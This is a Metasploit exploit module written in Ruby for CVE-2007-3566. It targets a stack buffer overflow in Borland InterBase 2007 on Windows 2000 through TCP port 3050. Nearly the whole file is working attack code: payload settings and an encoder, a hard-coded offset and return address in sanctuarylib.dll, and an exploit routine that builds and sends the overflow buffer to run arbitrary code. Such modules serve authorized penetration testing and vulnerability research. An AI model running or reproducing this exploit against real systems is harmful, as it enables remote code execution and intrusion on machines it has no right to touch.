68 lines
2.0 KiB
Ruby
68 lines
2.0 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Borland Interbase Create-Request Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in Borland Interbase 2007.
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By sending a specially crafted create-request packet, a remote
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attacker may be able to execute arbitrary code.
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},
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'Author' => 'MC',
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'References' =>
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[
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[ 'CVE', '2007-3566' ],
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[ 'OSVDB', '38602' ],
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[ 'URL', 'http://dvlabs.tippingpoint.com/advisory/TPTI-07-13' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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'AllowWin32SEH' => true
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},
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'Payload' =>
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{
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'Space' => 850,
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'BadChars' => "\x00",
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'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
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'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows 2000 English All / Borland InterBase 2007', { 'Offset' => 1266, 'Ret' => 0x1002e556 } ], # sanctuarylib.dll
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],
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'Privileged' => true,
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Jul 24 2007'))
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register_options([Opt::RPORT(3050)], self.class)
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end
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def exploit
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connect
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# Build the exploit buffer.... It's a biggie!
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sploit = "\x00\x00\x00\x14" + "\x00\x00\x00\x13" + rand_text_alpha_upper(target['Offset'])
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sploit << payload.encoded + Rex::Arch::X86.jmp_short(6) + rand_text_alpha_upper(2)
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sploit << [target.ret].pack('V') + [0xe8, -850].pack('CV') + rand_text_alpha_upper(40000)
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print_status("Trying target #{target.name}...")
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sock.put(sploit)
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handler
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disconnect
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end
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end
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